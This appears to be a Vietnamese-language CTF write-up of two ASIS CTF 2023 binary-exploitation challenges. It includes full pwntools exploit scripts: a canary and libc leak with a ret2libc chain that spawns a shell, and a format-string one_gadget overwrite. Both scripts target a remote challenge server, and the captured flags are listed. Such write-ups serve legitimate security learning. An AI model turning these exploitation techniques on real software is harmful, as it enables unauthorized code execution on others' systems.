Try   HackMD

(writeup) ASIS CTF 2023

hipwn

  • basic file check

  • check ida

  • thông qua ida, ta đã biết sẽ có lỗi từ hàm puts
  • dụa vào cơ chế hàm puts sẽ in đến khi gặp NULL byte, ta dễ dàng leak được canry và cả libc (dựa vào vòng lặp cho dù ghi đè canary vẫn chưa đến lúc return)
  • biến được khai báo 72 bytes, lại cho phép ow tuỳ ý
    -> 73 bytes sẽ nối chuỗi canary
  • sau canary là $rbp
    -> ow $rbp để nối chuỗi libc_start_main
  • có libc ta sẽ ret2libc như bình thường
  • thoát khỏi vòng lặp bằng cách gửi số khác 1337

  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./chall',checksec=False)
libc = ELF('./libc.so.6',checksec=False)

# p = process(exe.path)
p = remote('45.153.243.57', 1337)

# gdb.attach(p, gdbscript = '''
# b*main+141
# c
# ''')
# input()

def loop(data):
	p.sendlineafter(b'much???\n', str(1337))
	p.send(data)

def choice(choice):
	p.sendlineafter(b'again?\n', str(choice))


payload = b'a'*73
loop(payload)

p.recvuntil(payload)
canary = u64(b'\0' + p.recv(7))
log.info("canary leak: " + hex(canary))

choice(1337)

payload = b'a'*88
loop(payload)

p.recvuntil(payload)
libc_leak = u64(p.recv(6) + b'\0\0')
libc.address = libc_leak - 0x29d90
log.info("libc leak: " + hex(libc_leak))
log.info("libc base: " + hex(libc.address))

choice(1337)

pop_rdi = libc.address + 0x000000000002a3e5
ret = libc.address + 0x0000000000029cd6

payload = b'a'*72 
payload += p64(canary) 
payload += b'a'*8 
payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh')))
payload += p64(ret)
payload += p64(libc.sym['system'])
loop(payload)
choice(1)

p.interactive()
#ASIS{so_you_know_how_to_pwn?!!!!}

ASIS{so_you_know_how_to_pwn?!!!}

text-editor

  • basic file check

  • check ida

main()

print_menu()

edit_text()
vị trí payload sẽ ghi vào vùng nhớ .bss (&text)

save_text()
đưa payload từ &text vào stack

show_error()
là hàm khác với option3
chọn invalid option sẽ in ra thông tin nào đó

  • note lại các offset địa chỉ quan trọng

text = 0x4020

off_4210 = 0x4210

  • từ 2 địa chỉ ta note lại ở trên, thấy rằng là ta bắt đầu nhập từ 4020, và in ra từ 4120
    -> offset 0x100
  • ta còn có thể ow 8 byte
  • vậy thứ ta muốn là leak cái gì ?
  • PIE động -> leak exe trước

thấy rằng là sau khi nhập 0x100 byte 'a', kế đó là 3 byte 'bc\n'
ngay ở lần call printf thanh ghi $rdi 3 byte cuối là 0xa06362
vậy leak dc exe bằng những byte overflow

  • thứ ta cần là $rdi chứa 1 địa chỉ hợp lệ và trỏ đến 1 địa chỉ exe
  • thì đây là địa chỉ khả quan (0x8008)

test với chuỗi 'abcd\n'

  • ta sẽ overflow 2 byte cuối là p16(0x8008)
  • nhưng vì PIE động nên tạm thời ta bật NOASLR (dự kiến sẽ brute để leak exe)

phải brute vì ta còn bị dính 1 bit kế của 0x8008 (cao hoặc thấp hơn) -> nằm ngoài exe

  • khi đã leak được exe base, tiếp theo ta sẽ leak libc bằng puts@GOT
  • việc cuối cùng là gọi one_gadget ow ở return 1 hàm (ở đây chọn hàm main )
  • ta cần leak stack để trỏ nhằm ow one_gadget
  • thì stack có thể leak bằng 2 cách:
    • dùng fmt ở %6$p
    • dùng __environ có trong libc
  • có stack, tính $rip rồi từ đó fmt bình thường

rbp chung rsp nên return trong hàm show_text() sẽ là dc38
offset = 0x128

  • khi nhập chuỗi payload để fmt, ta sẽ không printf liền mà ta sẽ sử dụng hàm save_text() để đưa payload ta lên stack nhằm thay đổi $rip
  • vì one_gadget cần yêu cầu $rbp-offset là địa chỉ writeable nên sau payload 0x100 byte sẽ là 8 byte địa chỉ &text
  • vì sự thay đổi 1 bit nên tỉ lệ brute là 1/16 (brute tay🥲)

  • script:
#!/usr/bin/env python3

from pwn import *

context.binary = exe = ELF("./chall_patched",checksec=False)
libc = ELF("./libc.so.6",checksec=False)
ld = ELF("./ld-linux-x86-64.so.2",checksec=False)

if args.REMOTE:
	p = remote('45.153.243.57',13337)
else:
	p = process(exe.path)

def GDB(): #NOASLR
        if not args.REMOTE:
                gdb.attach(p, gdbscript='''
                b*edit_text+48
		b*show_error+23
		b*main+195
		b*save_text+38
                c
                ''')
                input()

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)

GDB()

def edit(data):
	sla(b'> ',b'1')
	sa(b'text: ',data)

def show():
	sla(b'> ',b'4')

def save():
	sla(b'> ',b'2')

payload = b'a'*0x100 + p16(0x8008)
edit(payload)
show()

exe_leak = u64(p.recv(6) + b'\0\0')
exe.address = exe_leak - 0x4008
info("exe leak: " + hex(exe_leak))
info("exe base: " + hex(exe.address))

payload = b'a'*0x100 + p64(exe.got['puts'])
edit(payload)
show()
libc_leak = u64(p.recv(6) + b'\0\0')
libc.address = libc_leak - libc.sym['puts']
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))

text = exe.sym['text']

payload = b'%6$p|'
payload = payload.ljust(0x100, b'P')
payload += p64(text)
edit(payload)
show()
stack = int(p.recvuntil(b'|')[:-1], 16)
rip = stack - 0x128
info("stack leak: " + hex(stack))
info("stack need: " + hex(rip))

gadget = [0xebcf1,0xebcf5,0xebcf8]
one_gadget = libc.address + gadget[1]
info("one gadget: " + hex(one_gadget))

package = {
        ((one_gadget) >> 0) & 0xffff : rip, 
        ((one_gadget) >> 16) & 0xffff : rip+2, 
        ((one_gadget) >> 32) & 0xffff : rip+4, 
}
order = sorted(package)
payload = f'%{order[0]}c%18$hn'.encode()
payload += f'%{order[1] - order[0]}c%19$hn'.encode()
payload += f'%{order[2] - order[1]}c%20$hn'.encode()
payload = payload.ljust(0x40)
payload += flat(
        package[order[0]],
        package[order[1]],
        package[order[2]]
)
payload = payload.ljust(0x100,b'P') + p64(text)
edit(payload)
save()
show()

p.interactive()
#ASIS{text_editing_has_never_been_so_fun_d1fd2}

ASIS{text_editing_has_never_been_so_fun_d1fd2}